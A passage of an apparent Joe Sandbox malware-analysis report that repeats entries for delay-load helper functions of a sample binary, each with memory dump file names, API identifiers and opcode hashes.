                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 869a6ed1804d2102f71e40b47445b75a2426e2856e4482233a088779111ab37f
                  • Instruction ID: 372d4c989d6f13f7bd0cf8357494ef99b3f93b4c8b458e5e6a1acd35a1051876
                  • Opcode Fuzzy Hash: 869a6ed1804d2102f71e40b47445b75a2426e2856e4482233a088779111ab37f
                  • Instruction Fuzzy Hash: 5AB0129636C00AAC314852182C07FB60B9EE0C0B10330503AB60EE1041DA408C486132
                  Function 00EFDB01 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFDAB2
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: ce6f0ef72cac56a874d258fd51df9a2265b209c2c75da6f0173627783c0012fb
                  • Instruction ID: ffd98f5aa5ba8e1aa30569332a5c811392b80abc1ecdcf042fadd9f7e788ca9a
                  • Opcode Fuzzy Hash: ce6f0ef72cac56a874d258fd51df9a2265b209c2c75da6f0173627783c0012fb
                  • Instruction Fuzzy Hash: 7BB012923AC109EC314C71097C02FBA0ACEF0C0B10330512BF50DE0145E5408C457532
                  Function 00EFDC5D Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFDC36
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 386d7ad7d9583b09e58e796e80581c0b2b9c2990d8e6cd6c448b20dc7a80a0ee
                  • Instruction ID: 90be701ffdc06d04ca0a435ba996cada65d065579c15715ebdfd0c60c33f6329
                  • Opcode Fuzzy Hash: 386d7ad7d9583b09e58e796e80581c0b2b9c2990d8e6cd6c448b20dc7a80a0ee
                  • Instruction Fuzzy Hash: CFB0129637C205AC314C61446C02EB60A6ED1C0B11330552FB70DF0042D6809C446132
                  Function 00EFDC53 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFDC36
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: db7be88249c76a029be5e030233674a239bc57898b7d53fb29f6d5e841494e38
                  • Instruction ID: 9d00b23cd1b4b2c98cb8b04ec7cb921c4f0bbb9dcd638e9220bff5c8c6ce6571
                  • Opcode Fuzzy Hash: db7be88249c76a029be5e030233674a239bc57898b7d53fb29f6d5e841494e38
                  • Instruction Fuzzy Hash: 5AB0129636C105AC314C61046C02EB60A6EC5C4B11330952EBB0DF0042D6809C446132
                  Function 00EFDC24 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFDC36
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: d7a6beb4383e3b57fb9993494c075a18b8a2a2224ee0c3ebc2236e4672da65ef
                  • Instruction ID: 69c6648cc7d9d87d646a069399f92317beadc9b74a487f86f1560fb927fb92f3
                  • Opcode Fuzzy Hash: d7a6beb4383e3b57fb9993494c075a18b8a2a2224ee0c3ebc2236e4672da65ef
                  • Instruction Fuzzy Hash: 43B0129636C209BC314C21006E02DB64A2FC2C0B11330562EB709F004296809C847032
                  Function 00EFD8D9 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFD8A3
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: a579649f37c923ccebf7eedddd29091bb6b96a631f5b98e93b737e748c857c95
                  • Instruction ID: 8a3c38901747b79a751673e4fd2fd46efc33337d82d34d0b7de78d9fb3e508e0
                  • Opcode Fuzzy Hash: a579649f37c923ccebf7eedddd29091bb6b96a631f5b98e93b737e748c857c95
                  • Instruction Fuzzy Hash: F9A0029666D54ABC310C61517D56D76165DD4C5F51330551DB54AB40C1E54058455432
                  Function 00EFD98D Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFD8A3
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: a0b7c49bc5524bc73b3005ee88ee6c82889e9a0fe856bd5ff0408865dc47cefa
                  • Instruction ID: 8a3c38901747b79a751673e4fd2fd46efc33337d82d34d0b7de78d9fb3e508e0
                  • Opcode Fuzzy Hash: a0b7c49bc5524bc73b3005ee88ee6c82889e9a0fe856bd5ff0408865dc47cefa
                  • Instruction Fuzzy Hash: F9A0029666D54ABC310C61517D56D76165DD4C5F51330551DB54AB40C1E54058455432
                  Function 00EFD983 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFD8A3
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 7f62403ca90f7d3535104d07b070547d2f6063fb3ba3deaa6bbaa041d6be4f9c
                  • Instruction ID: 8a3c38901747b79a751673e4fd2fd46efc33337d82d34d0b7de78d9fb3e508e0
                  • Opcode Fuzzy Hash: 7f62403ca90f7d3535104d07b070547d2f6063fb3ba3deaa6bbaa041d6be4f9c
                  • Instruction Fuzzy Hash: F9A0029666D54ABC310C61517D56D76165DD4C5F51330551DB54AB40C1E54058455432
                  Function 00EFD997 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFD8A3
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 184ed4a4a3a53c4b1659b7755d5e9f11184e5d79d440e7aa55c19c1d1f51557d
                  • Instruction ID: 8a3c38901747b79a751673e4fd2fd46efc33337d82d34d0b7de78d9fb3e508e0
                  • Opcode Fuzzy Hash: 184ed4a4a3a53c4b1659b7755d5e9f11184e5d79d440e7aa55c19c1d1f51557d
                  • Instruction Fuzzy Hash: F9A0029666D54ABC310C61517D56D76165DD4C5F51330551DB54AB40C1E54058455432
                  Function 00EFD96F Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFD8A3
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 7e2a65f096ef004278c16a7e81c01243becafff44433d47264d4066d75adcee7
                  • Instruction ID: 8a3c38901747b79a751673e4fd2fd46efc33337d82d34d0b7de78d9fb3e508e0
                  • Opcode Fuzzy Hash: 7e2a65f096ef004278c16a7e81c01243becafff44433d47264d4066d75adcee7
                  • Instruction Fuzzy Hash: F9A0029666D54ABC310C61517D56D76165DD4C5F51330551DB54AB40C1E54058455432
                  Function 00EFD965 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFD8A3
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: b8341e488558dfb21ac512e6e55e55f4b1a3b26379056f69fa5303796892bb5d
                  • Instruction ID: 8a3c38901747b79a751673e4fd2fd46efc33337d82d34d0b7de78d9fb3e508e0
                  • Opcode Fuzzy Hash: b8341e488558dfb21ac512e6e55e55f4b1a3b26379056f69fa5303796892bb5d
                  • Instruction Fuzzy Hash: F9A0029666D54ABC310C61517D56D76165DD4C5F51330551DB54AB40C1E54058455432
                  Function 00EFD979 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFD8A3
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 7ff3812da9efc46fe323bc9a483dba2ed35f9d5902fbf24b7b7649a717a9a81b
                  • Instruction ID: 8a3c38901747b79a751673e4fd2fd46efc33337d82d34d0b7de78d9fb3e508e0
                  • Opcode Fuzzy Hash: 7ff3812da9efc46fe323bc9a483dba2ed35f9d5902fbf24b7b7649a717a9a81b
                  • Instruction Fuzzy Hash: F9A0029666D54ABC310C61517D56D76165DD4C5F51330551DB54AB40C1E54058455432
                  Function 00EFD95B Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFD8A3
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 6372d2eca0184b2d102932a6aeddc47d0fa7f00adf6fdff403cc016f641dacee
                  • Instruction ID: 8a3c38901747b79a751673e4fd2fd46efc33337d82d34d0b7de78d9fb3e508e0
                  • Opcode Fuzzy Hash: 6372d2eca0184b2d102932a6aeddc47d0fa7f00adf6fdff403cc016f641dacee
                  • Instruction Fuzzy Hash: F9A0029666D54ABC310C61517D56D76165DD4C5F51330551DB54AB40C1E54058455432
                  Function 00EFD951 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFD8A3
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: be02e3d10ecfb41d7ac0a10d24fbc8aaf4e070e8b3a887b93ce59a01c16c2ac3
                  • Instruction ID: 8a3c38901747b79a751673e4fd2fd46efc33337d82d34d0b7de78d9fb3e508e0
                  • Opcode Fuzzy Hash: be02e3d10ecfb41d7ac0a10d24fbc8aaf4e070e8b3a887b93ce59a01c16c2ac3
                  • Instruction Fuzzy Hash: F9A0029666D54ABC310C61517D56D76165DD4C5F51330551DB54AB40C1E54058455432
                  Function 00EFD93D Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFD8A3
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 869f6189e02b634d640028b0ebb944fcea7e236a4021a7581b21eae58e9c0912
                  • Instruction ID: 8a3c38901747b79a751673e4fd2fd46efc33337d82d34d0b7de78d9fb3e508e0
                  • Opcode Fuzzy Hash: 869f6189e02b634d640028b0ebb944fcea7e236a4021a7581b21eae58e9c0912
                  • Instruction Fuzzy Hash: F9A0029666D54ABC310C61517D56D76165DD4C5F51330551DB54AB40C1E54058455432
                  Function 00EFD91F Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFD8A3
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
